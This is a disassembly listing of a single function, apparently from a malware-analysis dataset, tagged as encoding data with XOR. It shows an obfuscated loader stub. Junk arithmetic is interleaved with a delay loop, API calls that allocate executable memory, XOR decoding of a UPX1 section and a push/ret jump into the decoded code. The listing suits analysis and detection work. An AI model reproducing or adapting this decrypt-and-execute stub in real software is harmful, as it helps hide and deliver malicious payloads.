Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x45a2116f
sub edi, 1
mov edi, 0xccc39c36
or eax, eax
popal
not eax
add edi, 0x9eae297e
sub eax, 0x3b467aa4
mov ebx, 0
mov ecx, eax
not edx
add edx, edx
mov edi, ecx
or edx, edx
add esi, edx
dec esi
mov eax, edi
mov edx, 0x8d485676
and edx, esi
inc ebx
inc esi
or esi, esi
cmp ebx, 0x100a176
jne 0xa789d3
add edx, edx
inc esi
sub edx, 0xa625be87
dec edi
add eax, edi
mov eax, 0xa78796
add ebx, ebx
add edi, 0x295148d7
mov ecx, 0xa7898a
add ebx, 0xaa778efe
sub edx, ebx
add edx, edx
mov esi, dword [eax]
inc ebx
sub ebx, edx
and esi, 0xff
mov edx, edi
add ebx, 0x7f0b98ba
xor dword [ecx], esi
sub edx, 1
not ebx
inc ecx
dec edx
or edi, ebx
inc eax
or edx, edx
mov ebx, 0x5b3cd457
cmp ecx, entry0
jl 0xa78a21
mov ebx, edx
not ebx
or ebx, ebx
mov ebx, edi
not ebx
add ebx, esi
add edi, ebx
mov ecx, 0xa7898e
or edi, ebx
add ebx, 0x1878c43e
mov ecx, dword [ecx]
sub edx, ebx
mov edx, esi
add edi, 0xfad0b572
mov ecx, dword [ecx]
sub ebx, 0x2e655205
add ebx, 1
add edi, 0x9ac09cf7
push ecx
sub ebx, esi
add edx, edi
mov ecx, 0xa7898a
sub ebx, 1
mov edx, esi
mov ecx, dword [ecx]
add ebx, 0xc1c213b
sub esi, 0x734b273b
or edi, edi
mov ecx, dword [ecx]
sub ebx, edi
sub ebx, esi
sub esp, 4
mov dword [esp], 0xa78992
sub edx, ebx
mov edi, 0x115bfa5a
call ecx
mov edi, esi
and edx, edi
pop ecx
sub edi, 0xa40bf593
sub esi, ebx
inc ebx
push 0xa7899f
dec esi
sub edi, 0x4cf8aa4b
sub esp, 4
mov dword [esp], eax
or ebx, edi
mov esi, ebx
call ecx
dec ebx
not esi
add edx, 1
push 0x40
sub edi, 0x487d1175
sub edx, 0x5a12cca3
push 0x3000
and edx, edx
inc edi
push 0x20000678
sub esi, 0xc850ccd3
and esi, edi
sub ebx, 0x6382d462
push 0
sub esi, 0x98f73877
sub edx, esi
call eax
mov esi, ebx
inc edi
add eax, 0x200005b4
sub edx, ebx
mov esi, edx
mov edi, esi
mov ecx, 0x1185fef3
sub ebx, 0x7fd949e3
sub ebx, 1
mov dword [eax], ecx
dec edi
sub edi, 0x6eb8992f
mov ecx, dword [eax]
sub ebx, 0xa74c55f
not edi
cmp ecx, 0x1185fef3
je 0xa78b78
mov ebx, 0
mov edx, dword [ebx]
and edi, ebx
or edx, edx
or edi, ebx
or esi, esi
inc edi
add edi, 0x34961b18
not eax
mov edx, section.UPX1
not edi
dec eax
sub eax, edi
mov esi, 0xa78795
not edi
add edi, edi
mov ecx, 0
sub edi, 0xec9b2854
dec eax
not edi
mov ebx, 0xa78796
mov edi, 0x6367f499
mov eax, edi
sub edi, eax
lea ebx, [ebx + ecx]
mov edi, 0x12f91da6
or edi, edi
or eax, edi
mov ebx, dword [ebx]
dec eax
mov edi, 0x2a04e9ed
and ebx, 0xff
and edi, eax
mov edi, 0xd12f55ca
add ecx, 1
add edi, edi
sub eax, edi
or edi, edi
cmp ecx, 0x1f4
jne 0xa78bf2
mov ecx, 0
mov edi, 0x98083812
add eax, eax
add eax, 0xab91bce3
sub eax, edi
xor dword [edx], ebx
add edi, 1
or edi, eax
add edx, 2
mov edi, eax
dec eax
add edi, edi
cmp edx, esi
jl 0xa78baa
add edi, 1
and edi, edi
mov edi, eax
and eax, eax
add edi, 0x306cbcd3
mov ebx, section.UPX1
dec edx
mov edx, 0x70611c36
add edx, 0x9ae3ab1e
mov edi, section.UPX1
mov edx, 0x52322515
add edx, 0xbf6fcb4
mov esi, 0xa78795
mov eax, edx
and eax, edx
mov ecx, 0
or eax, eax
add edx, 0x47e1890d
add eax, 1
mov cl, byte [edi]
mov eax, edx
inc edx
mov byte [ebx], cl
or eax, edx
add edx, 0x9989406f
sub edx, 0x63eb7698
inc ebx
sub eax, 0x50cf6f4f
add edx, 0xd0c51134
add edi, 2
add eax, edx
or edx, eax
mov eax, 0x9e93331f
cmp edi, esi
jle 0xa78c6d
sub eax, edx
or eax, eax
mov edi, 0xc983bcdd
mov eax, 0x5d95ade2
mov edi, 0x96735d8d
push 0x8dc6a0
sub eax, edi
add eax, 0x25dd3710
ret